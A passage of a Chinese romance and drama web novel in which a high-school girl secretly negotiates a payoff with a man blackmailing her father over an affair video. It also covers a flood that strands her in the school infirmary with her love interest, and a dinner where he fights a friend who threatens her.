周念用手机记录了严力的电话。大约是怕她忘了,严力离开前又再三嘱咐说:“一定要让他联系我,我真的有非常重要的话要对他说。” “好。” 这一句‘好’没有记到心里,那天回来后周念在床上睡了一下午,睡醒洗了个澡开始作业,她用题海把自己短暂埋藏,与现实生活割裂开。 严力再次出现在她面前已经是三天后,不过三天时间,他看起来瘦了一大圈,他穿了件老人背心,下面是条洗得发黄的运动裤,膝盖上还破了两个洞。整个人胡子拉碴,不修边幅,就像窝在银江大桥桥底的流浪汉。 他一改之前有求于人的态度,这次说话态度凶狠。 “你爸呢?他为什么不给我打电话?你把电话给他了吗?” 周念被他的凶相震住,她不说话,不争辩,只等对方发完脾气静下心后再解释。 可对方似乎没有要心平气和地讨论,只一个劲的反复问她:“你爸呢?他为什么不给我打电话?说呀。” 周念不想在这儿跟他耗着,跟他纠缠,于是实话实说。 “抱歉,我忘记把电话给他了,这样吧,我今晚给他。” 谁想,严力听后暴跳如雷,一脚踹断边上的小树苗。 “你他妈放屁,他就是不想见我对不对。” “” 周念:“不是” 严力突然笑了,那笑声诡异,听得人不由发颤。 “你回头告诉周宏伟,你今晚要是不联系我,我把他和他姘头的视频发到网上。我给他一个晚上的时间,他不联系我立刻发到网上。” “不对,不止网上,我还要发到你们学校的内网,在人最多的时候。让所有人都知道你爸周宏伟跟傅妍在床上是怎么搞的。” 周念:“你说什么?” “我说什么?想知道?” 严力猛地狂笑,笑了会儿脸倏地拉下来,眼神阴鸷。 “让他晚上联系我,不然,有他后悔的。” 当晚,周念在书桌前反复梳理严力的话,不难猜到,他手里有一段对周宏伟不利的视频,他想借此敲诈周宏伟。 “fuyan?” 哪个fu哪个yan? 不是个生疏的名字,肯定在哪里听过。 周念提了口气,趴靠在桌上,转瞬间抬起头。 “傅妍?傅老师?” 她对这个傅老师印象不深,甚至没在学校里见过这号人物,只听过这个名字,为数不多的几次还是从叶琳嘴里听到的。 周念给叶琳打了电话,询问傅妍的模样。叶琳只说傅老师很有气质很漂亮。但这样的形容可以套用在任何有姿色的女人身上。后来叶琳通过其他美术生要了一张傅妍的照片给她发了过去。 周念凝视着手机屏幕,照片与记忆中的女人对上,正如叶琳所说她很漂亮,一身素色旗袍包裹着婀娜身姿,周身散发着这个年纪独特的韵味。 时间走过九点,周念走到窗边,伸头去看幽暗的弄堂,周宏伟的车不在他没回家。她给他打电话问他在哪儿,电话那头沉默片刻说在单位加班。 周念说好就把电话挂了。 她盯着秒钟一圈一圈地转动,就这样纹丝不动地看了近三十分钟,最终决定去找周宏伟。去教育局直达的公交车已经停运,她在路上拦了好一会儿车,老天变着法跟她开玩笑,一连串的满客。 拦不到车,她干脆用跑的,跑了十分钟耐力耗尽只得找路边的摩的。摩的师傅废话不多,只有在上车时问了句去哪儿,下车时要了钱,其他时间缄默不语。周念坐在后排,双手撑着车尾架勉强保持平衡。 四月的风,还是冷的。周念吃了一路风,下车的时候嗓子眼生疼。双脚落地的一刻,她反而有点焦躁,这种焦躁源自于对周宏伟的不信任。果然,她面对的是一座黑灯瞎火的大楼,大楼从头至尾没有一丝亮光,更不可能有人在里面办公。 他还能去哪儿呢? 周念心知肚明却不愿承认,磨蹭了小会儿又上了原地等客的摩的。从教育局到傅妍的小区只需要十分钟。十分钟后,周念再次落地,双脚踏实,心也跟着平静了。 她要亲眼确认两人苟且,才能让自己狠下心。她需要这样一个记忆点,在往后无数个举棋不定甚至想要放弃的瞬间,只要想起这段记忆就不至于心软。她走进小区,上了三楼,停在傅妍的房门前。 里面黑着灯,电视机的光闪烁不定。 她在门口站了很久,成了长廊上一抹纹丝不动的剪影。直到房间里传出男女亲昵的笑声,笑声平淡温馨像电视广告里烘托和睦氛围的背景。刺进周念耳朵里却显得尖锐滑稽,出自周宏伟的那一声笑,她居然都没听过。 她恍惚听见来自于心底的一个声音。 周念,赌一把。 赌什么? 赌他们身败名裂。 晚上十点多,周念走在回家的路上,路上行人寥寥,来往的车辆屈指可数。走了一小段路,她忽而停下,打开手机,手指在严力的通讯录上方停滞,两分钟后她拨通了严力的电话。 那头声音嘈杂,重金属的摇滚乐里混着鼎沸的人语,听着像游戏厅的声音。 “严老师?” “妈的,操,又输了。” 严力激动地叫骂,没怎么注意这头的电话。 周念:“严老师你在听吗?” “在听。” 严力笑得轻浮,大约是已经对周宏伟不抱希望,所以敷衍:“你爸挺能啊,既然他不愿意联系我,那就别怪我不留情面了。” “还有事儿吗?没事我挂了,明天你就等着看你爸上新闻吧。” 周念:“等等。” 周念这一声等叫的急促,严力似乎看到了点希望,把手里的牌往桌面上一扔,起身来到一个小包间。包间也有人在玩,但没有刺耳的音乐。 “怎么?你爸反悔了?” 周念垂眼看地,提了口气说:“你想要多少钱?” 包间里有人通吃一下子炸开,严 力听不真切嚷道:“他妈的没赢过,一惊一乍的。” 他把手机从左耳换到右耳。 “你说什么?” 周念:“我问你,你要多少钱才能罢休。” 严力笑中带着点不确信:“你给我还是你爸给我?” 周念语调平平的说:“这个你不用管。” “你是不是想耍我?” 严力警告:“小姑娘心眼别太多,你要是敢报警,只要有我放出来的一天,天涯海角都给你逮回来。” “反正老子烂命一条。” 对面静了会儿,严力以为她怕了又说:“你让你爸来跟我谈,你爸当官的,应该知道怎么处理这种事情。” 没想对方又重复道:“你要多少钱。” 这回轮到严力沉默,他看着桌上的垒起的筹码说:“三十万,打我卡上我把视频删了。” “十万。” “你搁这儿跟我买菜呢?” “十五万。” “三十万就三十万,一分都不能少!” “最多十五万。” “哼。”严力听乐了:“你爸堂堂一个教育局处长,买个自己花色视频都那么小气?” 周念闭着眼,吐出一口浊气。 “十五万,每个月给你一万五,分十个月给你,爱要不要。” 说完,她就挂了。 周念半路上了出租车,一路上严力给她打了十几个电话,她一个都没接,后来又发了几条短信。短信内容从威胁到谈判,周念依然不予理睬。 到家时,严力妥协了,发过来一条短信。 ——行,十五万就十五万,每个月一万五,你要是敢耍赖,老子把视频发给你同学看。 周念又给他打了电话,这次那头很安静。 严力:“想得怎么样?给还是不给。” 周念:“先给我发一段视频,万一你想诈我呢?” 严力:“没问题,但是你敢少一分钱,我就让你好看。” 严力加了周念微信,给她发了十秒的视频,周念看了五秒就关了,倒不是什么床上苟合的视频,是两人在电梯厅情难自禁。她觉得恶心,生理心理双重反胃。她在把目光投向更暗的深处,心想:这个视频迟早会公诸于众,但不是现在。 第32章 第32章老大的男人就是不一样 周念病了,发烧到了39度。张宁给她量完体温,心焦得不行。 “节骨眼上发烧,冷热没数吗?不会给自己加件衣服?” 周念躺在床上昏昏欲睡,认错态度颇好。 “我下次会注意的。” “现在怎么办?” 张宁更倾向于她去上学,在她的观念里,在课堂上睡也比在家里睡好,再怎么不济,总有清醒的时候,总能往脑子里灌点东西。 “起得来吗?” 周念试着起床,她双手撑床,挺坐起身,但仅仅是坐着都废她半条命。她真想不管不顾往后一倒,舒舒服服地做一天病人。张宁眉眼带笑,把她扶正。 “能坐就能站,能站就能走。” 她说:“起床吧,你要真的不舒服上课的时候就跟老师说明一下,老师也不是冷血动物,肯定会关照你,让你靠着休息会儿的。” 周念白着一张脸,小声地试探说:“妈,要不今天请假吧。” 张宁眉眼一横,扫过来:“别不懂事,现在是高三,人家挂着点滴都去上课,你这点算什么毛病。” 她把拖鞋拿过来套在周念脚上。 “听话,别磨蹭了,不然要迟到了。” 天气预报显示今天有大暴雨。周念坐在教室里看着窗外的天,乌云压城,黑黝黝的,雨始终没下来。她靠在桌上,听不进课。 叶琳瞧她脸色煞白,嘴唇干得要命,一反常态地发呆发愣,她担心道:“你没事儿吧,要不要去医务室?” 周念吃力地摇摇头,连说话都懒得开口。 叶琳‘啧啧’两声,无情调侃:“张姨真够狠的,你是她亲生的吗?会不会是抱养的,只为了以后给她养老啊?” 周念给她一个白眼让她自行体会。 课上,数学老师瞧她萎靡不振,询问了情况,叶琳帮她添油加醋地说了一通后数学老师就勒令她去医务室休息。 医务室大门紧闭,叶琳在门口大喊两声。 “医务老师?在不在?” “有人吗?” “老师?” “不是吧,医务老师是不是翘班了?”叶琳边说边偷摸着去开门:“早就听说她是校长的亲戚,三天两头请假,学校拿她没办法。上次有同学磕破了头,等了一下午都没人,那同学血都快放干了,晕倒在医务室门口。本来家长都来闹了,最后怎么着?人家关系硬,一点儿没影响。” 门没锁,里头没人。 叶琳扶着周念躺上床。 “你等着我给你去找点药。” 周念觉得冷,侧过身,手脚蜷在一起。也顾不得医务室的被子干不干净,拉着被子一角往身上扯。 她说:“你先回去上课吧,我没事。” “下一节语文课,我去也是睡觉,不如在这儿陪你。” 叶琳从抽屉里翻出一盒感冒药,她用一次性杯子在饮水机里取了点热水,把水和药一并拿到周念面前。 “吃颗药,睡一觉,一会儿又是一条好汉。” 周念不想做好汉,她觑着药片说:“这个吃了会睡死过去的。” 叶琳把药塞到她手里:“怎么?你吃完了还想回去上课?” 周念说:“我不想睡太久。” 叶琳安慰她:“你以为这是安眠药啊,一颗感冒药能睡多死,再说了,就算睡一天又怎么样,你平常那么拼命,是应该放松一下。” 周念在叶琳极力劝说下把药吞了,吃完药她让叶琳回去上课,叶琳说等她睡着就回去。 药效没上来,叶琳没话找话。 “你知道吗?赵樾和姜小小被学校开除了。” “我不知道。” 周念没说谎,她最近的精力都在学习上,无心分神留意别的,更何况是他们俩。 “不知道说他们活该好,还是说他们倒霉好。小念你” 话到嘴边,戛然而止。 周念睡着了,呼吸厚重绵长,叶琳给她掖好被子,四下转了一圈,确认没问题后轻手轻脚地合上了门。 下午暴雨如约而至,按理,银城彻底入秋后就不会出现这样猛烈的暴雨,顶多飘一阵沙沙的中雨,路面上留点积水,不痛不痒的。所以大雨刚下那会儿没什么人在意,学校照常上课。 一节课过后,积水意外地到达成年人膝盖的高度。一楼教室开始渗水,渐渐地有人担忧起雨势,不过这些微不足道的声音影响不了上课的进程。直到一楼教室彻底被淹,校领导才开始重视起这场大雨。 这雨下得诡异,往常的暴雨都是头一阵子猛烈,不出半个小时雨势会大幅减弱,这场雨却愈演愈烈,雨滴砸落下来,万物都在沉吟。 叶琳跑到走廊上低头张望,地上的雨水汇流成河,河水浑黄湍急流向更低的地势。这怕是要闹洪灾呀!她心头一紧,拔腿就往下冲。 徐明从厕所出来,瞧她十万火急的模样问道。 “那么着急干嘛去啊。” “小念还在医务室,她一个人。” 医务室所在的楼栋只有两层高,和教学楼隔着一个操场,医务室在二楼,一楼则是放置运动器材的储物室。照这样的雨势下去,不出两小时积水就会涌进二楼。 叶琳心急如焚,学校地势本来就低,万一上游的积水一直往下流,那淹到二楼也是分分钟的事。她疯狂得给周念打电话,但那头迟迟没有回应。 周念这一觉睡得很沉,以至于醒的时候愣了半天才想起自己还在医务室。她活动筋骨,发现身体绵软没什么气力。于是伸手去摸手机,手机‘默契’一震,刚好叶琳给她打来电话。 “小念,你终于醒了!” “嗯,怎么了?” “你看看外面。” 周念起身下床,她扶着床沿站了会儿,脑袋不晕了才慢吞吞地走到窗边。远眺过去,遍地都是洪流,水面上飘着几颗枯朽的木桩,还有不知从哪儿飘来的脸盆和柜子。 叶琳说:“ 发洪水了,我现在去不了你那儿。” 周念还算冷静,她说:“没关系,不用来我这儿,雨应该很快会停的。” 叶琳不放心,嘱咐说:“你一定要当心啊,你那儿总共就两层,万一水涨上来你就往高处走。” 周念说:“嗯,我知道。” 电话挂断,她又给张宁回了电话,对话内容大体一致让她注意安全。 微信有消息,江池发来的。 ——听说你被淹了。 周念无语,回复说。 ——没有,好着呢。 对面秒回。 ——中饭吃了吗?饿不饿。 ——没有,不太饿。 最后江池回复了一个‘哦’就再没消息了。 这场雨又陆陆续续下了三个小时,水淹得到处都是。山区地段好几处发生了泥石流,警力匀不到学校,各个学校只能自己想办法应对当下的洪水。 周念站在楼梯口,看见水面几乎要和二楼的地面持平。她回到医务室的小床上,抱膝坐着,打开手机,班级群里都在议论这次的雨,倒不是恐慌更多的是新奇,毕竟关系到今晚会不会留宿学校,一个个跟打了鸡血似的兴奋得不行。 群里弹出一段视频。 ——有人在操场游泳。 周念点开看,有人在浑黄的洪水里游泳,洪水湍急周围的漂浮物一个接一个撞过来,那人接连避开,他水性很好,一口气能憋很久,没入水面后会消失一阵子,十几秒后又能冒头,镜头离得远看不清他的模样。 群里的人看得胆战心惊。 ——这谁啊?不要命了? ——会不会是没地方躲被冲下来的。 ——这可怎么办啊,要不要去帮帮他? ——他游得那么六,需要我们这群旱鸭子帮? 群里瞬间安静,周念退出群聊打算背几个单词消磨时间,没多久,门外传来砸窗的声响。这栋楼是全包式的,二楼的走廊被封闭起来,要想上来只能走楼梯,而眼下一楼被淹,想要进来只有翻窗。 周念没动,等了会儿,外头的动静越来越大。她把手机扔到一边,下地去看,门开的一瞬,周念彻底怔住。 江池浑身湿透,顶着一头甩动过的湿发,像只落汤的刺猬,他只手撑在窗台,另一只手猛力锤砸玻璃。周念赶紧跑过去给他开窗,江池趴在窗上松了口气。 “妈的,你耳背成这样怎么上课?” 周念眉心紧皱原地不动,她绷着一张小脸深深提气,最后将唇线抿直,看他的眼神也极为复杂,震惊、困惑、后怕、担心揉杂其中。 “你疯了?” 江池鼻腔哼笑,拼了半条命换来一句‘你疯了’。 “是啊,我疯了。” 他玩笑似地指着来路说。 “要不我回去?” 周念懒得跟他胡扯,抓住他的手说:“快进来。” “等等。” 江池左手往后背一伸变戏法儿似的变出一个黑色塑料袋,他把袋子放在窗台上说:“吃的。” 然后双手撑着窗台奋力一跃,整个人从窗外蹦了进来。 教学楼上有人吹口哨,是周念的同学,其中一个嗓门很大。 “老大的男人就是不一样。” 周念:“” 江池笑笑,认领了‘老大男人’这个头衔。那么漫长的一段路,游得他力气耗尽,反正淌了一身脏水他干脆就躺在地上休息。 周念蹙着眉头低头看他。 “把衣服脱了。” 江池:“嗯?” 周念:“我说你把衣服脱了,湿哒哒的容易感冒。” “哦。”江池坐起身,利索地把衣服掀起,脱下。 “裤子呢?”他一脸玩味儿地调笑道:“要不要也脱了。” “随你。”周念转身进门,没一会儿,里头悠悠飘来话:“反正吃亏的又不是我。” 江池眼里带笑,难得见她有脾气,忍不住想要招惹她一下。 “那我真脱了?” 周念出来时手里抱了一床厚棉被,她把棉被盖在江池身上,好整以暇地看着他,那眼神似乎再说:脱呀。 江池甘拜下风,他用被子胡乱抹了把头发,然后嫌弃地丢在一边,解释说:“太闷了,我不用。” 周念拿他没办法,也没强迫他盖被子,只是随他一起坐在地上。 江池又把被子扯过来平铺在地上,将周念的双臂一提把她拖到被子上。他说:“地上冷。” 周念还没来得及说话,江池的手就已经覆在她滚烫的额头上。 “发烧了?” “嗯。” “好点没。” “睡了一觉,好多了。” “发烧了还来上课,这里的床比家里的床舒服?” 江池戏谑的口吻中透着一丝责怪,周念不说话,只静静地看着他,从他舒展的眉宇到高挺的鼻梁,再从鼻梁顺势而下停在那双温润的唇间。 一个阴潮的傍晚,两颗蠢蠢欲动的心,周遭出奇安静,只有两道不同频率的呼吸,一深一浅,一起一伏。天色暗了,对视的眼神渐渐不清白,江池俯身靠近。 “江池。” 周念及时清醒。江池停止动作,轻轻地‘嗯’了声。 周念回头看着窗台上的袋子说:“我饿了。” 江池抬起下颚示意她自己去拿。 “雨太大,店都关了。给你蒸了点速食。” 塑料袋不知道封了几层,周念解了一层又一层,解到最后都有点不想吃了。 江池解释说:“怕被水弄脏就裹了好几层,里面还有汤,当心点别洒了。” 周念耐着性子打开最后一层,里面是塑料盒子装的烧卖和骨头汤。剩下一个盒子里装着打火机和香烟。 她把烧卖端到两人中间问他饿不饿,江池摇摇头让她把烟递给他。 周念把香烟拿给他,江池伸手去接却迟迟等不到她松手,两人无声对峙了会儿,她说:“把烟戒了吧。” 这是她第二次让他戒烟。 江池稍稍使力,从她手里接过烟和打火机,抽出一个烟衔在嘴上,之后才不紧不慢地说:“戒不了,有瘾了。” 周念看着他娴熟地拢手点烟,烟星一明一灭,白烟缓慢升空。 “你没试过,你怎么知道戒不了。” 江池不知想起什么,拿烟的手一顿,笑着看了过来。 “那天你说让我等,我没答应。后来我也想过大不了就算了,结果呢?还不是一样。” “照样想。” 第33章 第33章要说我们之间非得有所图…… 晚间,水位稍稍下降但远达不到能疏散人群的地步,留宿学校已经板上钉钉。张宁又打电话来,内容无非就是从抱怨天气突变到抱怨校领导无能,顺带着埋怨周念不够变通,早知道就不该去学校的。总之一番怪罪下来,除了自己谁都有错。 班级群里也很热闹,男男女女大通铺,夜话不断。有人提到周念,询问‘老大男人’是谁,周念扫了一眼没理睬。 学校断水断电,周念翻了好一会儿才从医务室里翻到一只酒精灯。她用打火机把灯点亮,放在医务室的桌子上。 借着灯光,周念把江池的湿衣服揉进被褥里,好吸收掉多余的水份,但始终达不到干燥的效果。江池见她不厌其烦地揉被子,就把衣服扯了回去。 他说:“别弄了,明天就干了。” “不行,晚上冷。” 周念想抢却捞了空。 江池说:“衣服太脏,你就算弄干了也穿不了。” “你说的对。” 周念把衣服拿了回来,把它放在饮水机下冲了一遍,发黄的T恤重新变白,但也白不到哪里去,火光微弱,怎么看都白不了。她把衣服拧干后搁在一旁,抱着脏被子出门。 江池疑惑, 没多问默默地跟了出去,只见她把被子扔在角落,而后慢条斯理地去开窗,所有的窗户都被打开。她又回到房间,拿着酒精灯走到被子旁。 江池虚靠着门点了根烟看她,大约猜到她想干嘛,提醒道:“一床被子烧不了多久。” 她背对他出声:“我知道。” 周念用盖子盖灭酒精灯,等星火殆尽,她把灯芯拆了把酒精洒满棉被。然后走到江池身边伸出手。 “打火机。” 江池朝外吐了口烟,没给打火机,把手头的烟给了她。 “用这个一样。” 周念不挑,把烟头往被子上一扔,瞬间火势凶涨,火舌乱蹿。熊熊烈火把她较小的身躯拉得很长,江池默默的看着她,突然发现在她身上有种不计后果,歇斯底里的狠劲。与赵樾对峙那次是这样,这次也是这样。 但回忆起某些细枝末节,又觉得她小心谨慎,瞻前顾后,不然,为什么还要他等呢。 算了,他安慰自己:不过是等一年而已,如果在她身边的人最终是自己,那早点晚点又如何。感情就像是天平,只差一克都有高低,既然她较利避,计得失,爱得小心翼翼,那自己大度点稳稳地下沉在天平一端又如何。 他想,只要她心里的那个人是我就好了。 周念回屋拿了衣服,江池紧随其后搬了两只凳子,两个人坐在凳子上烤火烤衣服,顺便给火堆里添了些从凳子上拆下的木头。 周念突然偏过头看江池,江池回看她。 她说:“你长得好像一个人。” 江池:“谁?” 周念:“我们学校的一个老师。” 江池身形微滞,缓缓地错开视线,看向火光。 “是吗?” “是啊。”周念仍然看他:“你怎么不问是哪个老师。” 江池静默几秒问:“哪个老师?” “我们学校的美术老师。” 她抿唇笑了笑说:“她很漂亮,你们的眼睛很像,鼻子也像,嘴巴好像也有点像。” 江池‘哦’了声,没话了。他伸手摸了一下裤袋,裤子早就被体温温干,烟没在口袋里,他起身去拿烟。 周念看着他离开的背影,嘴角的弧度慢慢下沉,她无力地叹了口气,想起刚刚那个即将发生的吻。到底还是年轻,她看不透感情的晦涩,只觉得自己是辆误入荒漠的车,分不清方向,只能一个劲的莽闯,闯到最后是进是退不得而知。 周念回忆起第一次见到江池的场景,那晚,他隐匿在一个昏暗的角落,手里的烟像他割舍不掉的器官,他打量她的眼神阴鸷而冰凉。她第一时间想起了傅妍,在确认她和周宏伟的关系后,周念就在学校默默地关注起了傅妍,一样的神韵,一样的眉眼。也正因为如此,她能在那个光线暗淡的晚上,只用了一眼就认出远处的少年就是那个女人的孩子。 江池坐回凳子上,周念把烘干的衣服拿给他。 “你试试。” 江池摇动手里的烟示意再等等。周念摊开手说:“我帮你拿,你先把衣服穿了,晚上很冷。” 江池无奈照做,把刚点的烟送到她手里。 周念目光落在烟头上,丝丝绕绕地烟垂直上行,消散在火光里。她盯了会儿鬼使神差地把烟塞进嘴里吸了口。 她吞云吐雾的样子实在维和,江池皱了皱眉,上前去夺,周念躲开又吸了一口。 江池脸色不太好看:“给我。” 周念:“为什么。” 江池也说不出个所以然来只说:“给我。” 周念讨价还价:“再吸一口。” 江池态度坚决,一副做事要抢的样子。 “不行。” 周念极淡地扯了扯唇:“你自己都抽,凭什么管我。” 江池看清她的意图,眸光软下来,他把烟盒往火堆一扔妥协道:“我戒烟。” 周念:“你说的?” 江池点头:“我说的。” 周念把烟扔进火堆,咳了几声,刚才憋着一口气佯装镇定,这会儿立马露馅儿了。 江池笑笑说:“你知道阿明怎么评价你吗?” 周念说:“徐明?” “嗯。” “他怎么评价我?” “他说你真有本事。” 周念那双笑盈盈地眼睛又回到他身上,她说:“那你觉得呢?” 江池看着那双眼睛,火光在她眼里变幻形状,他说:“他说的对。” 八点钟,对面教学楼人声鼎沸,周念睡着了,江池坐在她身边,偶尔摸了摸她的额头,偶尔静下心来看看她的脸。没有烟的晚上太煎熬,他只能把注意力分散在别处。 夜半,周念迷迷糊糊醒过来,眼睛开合一瞬,有光一明一灭,她侧眼去看,发现江池双肘靠在窗户上,百无聊赖地玩弄打火机。 整个房间跟着明暗更迭。 江池留意到床上的动静,按火机的手没了动作,他的嗓音沙沙地绻着一脸疲态开口:“吵醒你了?” “没有。” 周念侧过身,面向他。 “难受吗?” 她指戒烟。 江池诚实点头,继续拨弄打火机。 “有点。” 周念说:“这才第一天。” “因为是第一天才难受。”他说:“后面就没那么难受了。” 周念第二次醒来是早上六点,入秋后白昼变短,这个点的天将亮未亮,介于灰蓝之间。昨晚睡得早,她醒来后就没睡意了。 江池不知道什么时候睡下的,睡在隔壁一米八的小床上稍显局促,两只长腿交叠着伸在椅子上。周念把唯一一条棉被轻手轻脚得盖在他身上,之后坐在床沿看着那条胸线规律得起伏。 她走到窗边照昨晚江池的姿势靠在窗台上,底下的积水退去,剩下一地黄澄澄的淤泥。上游飘来的家具家电沉积在操场,放眼望去一片狼藉。 学校决定放一天假用以打扫清淤,为了争取剩下来的自由时间,同学们甘做牛马,毫无怨言。一层的教室毁坏严重,打扫起来费时费力些,二楼以上不受影响的学生则是帮助打扫公共区块。 周念想参与,江池以发烧为由把她堵在医务室,直到有人来医务室打扫,他才肯放人。叶琳追着周念问昨晚她跟江池发生了什么,周念搪塞两句就敷衍过去。 徐明找到江池的时候,他正坐在周念教室后头玩手机,这地方还算隐蔽,有人路过也不会特意留意这头。徐明也拖了个椅子过来,一屁股坐下。 “你他妈不要命了?” 昨天的事,他仍心有余悸。 江池掀起眼皮看他,复又低头,轻描淡写道:“不是还活着吗?” 徐明看看远处的周念,又回头看他,突然乐了声。 “你认真的?” 江池低头打游戏。 “什么认真的?” 徐明有点上火:“我说你对周念是不是认真的?” 江池手指微顿,很快又投入到游戏中。 “看不出来吗?” 徐明‘啧’了声,把手机从他手里抽出,按下锁屏,反扣在桌上。他语气郑重:“我劝你对她别太上心。” 江池着抱臂,脑袋稍倾,正眼看他:“你当初不是说她挺好的,现在怎么又让我别上心了?” “以前是不了解。” 他想起之前周念与赵樾的冲突,又想到最近关于赵樾被开除的风言风语,总觉得周念这人表里不一。 “你最好留个心眼。” “她图我什么?我需要留个心眼。” 江池笑笑,把桌上的手机拿了回来。 “要说我们之间非得有所图,那也是我图她,我图她这个人。” 徐明翻了白眼过去。 “少恶心。” 江池不以为意地笑着,懒得去反驳他,他忽地想到什么,神色凝重。 “阿樾他最近怎么样,被开除了还有学校收吗?” 还剩一个学期,赵樾成绩出色,不能因此断送前程。 徐明惋惜长叹:“银城那么小,出了这档子事,哪个学校敢收。” “不过他爸最近好像在找人托关系。” 这时,周念走过来,她笔直走到江池身边。 “我爸来接我了,我先回去了。” 江池默了半晌说‘好’。 周念没再说什么,只说:“你也早点回去吧,多穿点衣服别着凉了。” 他又‘嗯’了声。 目送周念下楼,徐明差点被气笑。 “你看看,你看看。你游了大半个银城来找她,她呢?一句我爸来接我了,就走了。难道她看不出来你坐这儿是为了等她?” 江池沉默,不置一词。 他又说:“你清醒点吧,她都没把你放心上。” 第34章 第34章“她来吗?”“她不来…… 自从赵樾被开除后整个人近乎疯癫,他父母都是高知分子,在学业上两人都对他抱有一定期望。出事后,他父亲每天都在托关系送礼,但凡和校领导沾亲带故的,他都想方设法联系上。她母亲成天以泪洗面,心思不在工作上故而只能休假在家,时间长了,免不了唠叨,赵樾听得烦,把自己反锁房间,大门不出二门不迈,有时候一天喝不了一口水,短短两周瘦了十几斤。 大家不忍心看他继续消沉,但没有人脉关系也帮不上什么忙,力所能及的事也不过是叫他出来吃个饭唱个歌解解闷。 局是徐明组的,钱是江池出的,来吃饭的都是平常玩得最好的几个,一桌子也没凑够十个人。 地点定在一家知名本帮菜馆,几个人刚认识的时候就常来。 赵樾还没到场,没人动筷子。徐明看见江池坐在椅子上发呆问他是不是跟周念吹了,江池回了他一个凉凉的眼神。 他又贱嗖地说‘忘了,你俩都没好上’。 江池也是烦了他,语气里除了嫌厌多少透着点无奈。 “你不说话会死啊?” “会死。” 徐明用手在嘴巴前比了个‘闭嘴’又开合的拉扯动作。 “来来来,我给你分析分析。” 江池知道这人嘴里没好话,也猜到了他想说点什么,将头偏向别侧。 “不想听。” “由不得你!” 徐明把椅子一抽,坐到他另一侧。 刚准备一一分析,就看包厢门被打开。 “阿樾,你可终于来了。” 不知谁喊了声,所有人出奇一致的看了过去。 赵樾剃了个一平头,刺刺的硬短发很不规整,一块深一块浅,看样子像自己剃的。他以前爱臭美穿衣考究,头发都是摸了发蜡做过造型的。可现在却胡子邋遢不修边幅,眼里没有半点儿光芒。也是,眼下的情况谁还有心思倒饬自己。 他这情况,大家也不敢放肆吃喝,动筷的速度放慢了几倍。 徐明夹了一块鱼肚腩放在赵樾碗里,他说:“知道你爱吃海鲜,阿池给你点了一桌子海鲜。” 自上次跟周念起冲突后,赵樾对江池意见很大,两人私下没了来往。徐明怕两人关系疏远,总有意无意地在对方面前提及彼此。 没想,赵樾把鱼肉扔了出去,直直甩在地上,他牵动唇角,似笑非笑:“腥。” 顷刻,桌上没了动静。 江池知道他心情不爽,也没计较,自顾自喝了点酒。 徐明变着法讨好:“不爱吃鱼是吧,那吃点虾呗。” 他又用勺子舀了一勺虾仁,还没等他倾勺,碗就被赵樾反扣在桌上。那勺虾仁没地落脚,最终进了徐明嘴里。 是个人都看得出来,赵樾不是来吃饭的,是来甩脸子的。 江池下意识地去摸口袋,口袋空空,他没拿烟,转头问徐明要:“给根烟。” 徐明摸着口袋说:“你不是在戒烟吗?” 江池忍得难受,眉头皱作一团:“就闻闻。” 徐明把烟扔给他说:“戒了也得吸二手的,戒不了就算了,别为难自己。” 江池拿着烟闻了闻,不闻还好,一闻烟瘾就愈发重了,他把烟放进口袋转而喝了口酒,酒味微苦,回味甘甜,稍稍消解掉一点瘾头。 赵樾还晾在一头,徐明一脸讨好的挨了过去,他把烟也给赵樾拿了一支,笑说:“阿樾来一支。” 赵樾斜眼看烟,没拒绝。 徐明看有戏,靠过来给他点火:“还是你,不像阿池,不知道发什么毛病,最近居然学人家戒烟了。” 赵樾冷冷‘哼’了声。 之后饭桌气氛还算融洽,赵樾没动筷但也没给谁脸色看,闷声不响的坐着,偶尔有人关心他也会敷衍地笑。 酒过三巡,话题慢慢从日常生活延伸到荤段子,中间有人提了嘴老薛的相好小艾,说她傍上了有钱人,转头就把老薛踢了。 徐明本来就看不上她,所以没觉得惊讶,只可惜了老薛一腔深情终错付。 “眼盲,得治。看上谁不好看上舞厅里女人,小艾小艾,她全名是什么老薛都不知道吧。” 赵樾听着忽地一笑,冲着江池那头吐了个烟圈道:“眼瞎的又不止老薛一个。” 他意有所指,众人看向江池,江池没理会,夹了筷子菜,埋头吃了口饭。 “缩头乌龟。” 赵樾最受不了他那副事不关己的态度,蛰伏在心头的怨气瞬间被点燃,他朝外‘呸’了声把烟头扔向江池。 江池没躲,烟头砸在他手臂上,顺势落在裤子上,在牛仔裤上烫了个洞后才掉落在地。 宋佳月立马跳脚:“赵樾,你别太过分了。” 赵樾暴跳如雷:“我过分?我被他女人弄退学了!我过分吗?” 江池紧了紧拳头,面无表情地质问:“没凭没据,你凭什么说是她弄的。” “好,你要证据是吧。” 赵樾从裤袋里掏出一直录音笔,开机后把声音调至最大,点开录音。 “你好,这里是梧桐街道派出所,请讲。” “你好,我要举报,东新路三十二号,如意客栈,有人**|**。” 周念的声音,在场的人都认得,更别说是江池。 赵樾把录音笔重重地甩在江池身上,冷笑道:“没话说了吧。” 事实摆在面前,江池无话可说,他把刚才的烟夹在手里,又伸手问徐明要打火机。 “这事是周念做的不对。” 徐明边给他点火边说:“那阿池不也蒙在鼓里吗?他哪儿知道周念这人后路都不给人留的。” 江池吸了口烟,浓烟入肺,许久不见有烟吐出。仅是吸了一口,他把烟掐灭,倒了杯酒,走到赵樾面前。 “我替她向你道歉。” 赵樾显然不买账,边说变笑。 “你有病吧,江池,我是被学校开除了。我读了十年书到头来可能连高中文凭都拿不到。你一句道歉就完事儿了?” 江池提了口气,骤然叹出。 “那你说你想怎么办,只要我能做得到,我一定去做。” 他把姿态放得极低,几近讨好,宋佳月从没见过他这般低三下四,不免心头发酸。 赵樾哼笑:“漂亮话谁不会说,关键是你做得到吗?” 江池:“你说。” “哼。”赵樾坐那儿,拨弄着外套拉链,一上,一下,像在思考。拉到头时掀起眼皮看他,挤出一个意味不明的笑。 “这样,你把她约出来,上个床,我也学她的样子报个警。” 说完收敛笑意,拿酒去碰他的杯。 “这样就扯平了。” 江池喉结微滚,死死握住酒杯,开口时听不出语气。 “别开玩笑了。” “我像在开玩笑吗?也不是什么过分的事儿吧,毕竟她就是这样对我的。” 赵樾摸着下颚,眼眸一动,突然笑出声。 “要不这样,你把她约出来,我来跟她睡,周念这人奶白奶白的,睡起来应该也不” “草。” 话未完,赵樾迎头一记重拳,整张脸撕裂般疼痛。 “妈的,江池你。” 众人还没反应过来,江池一把将他拖倒在地,他长腿一伸压坐在他身上,拳头落得又狠又快。 “阿池。” “住手,别打了。” 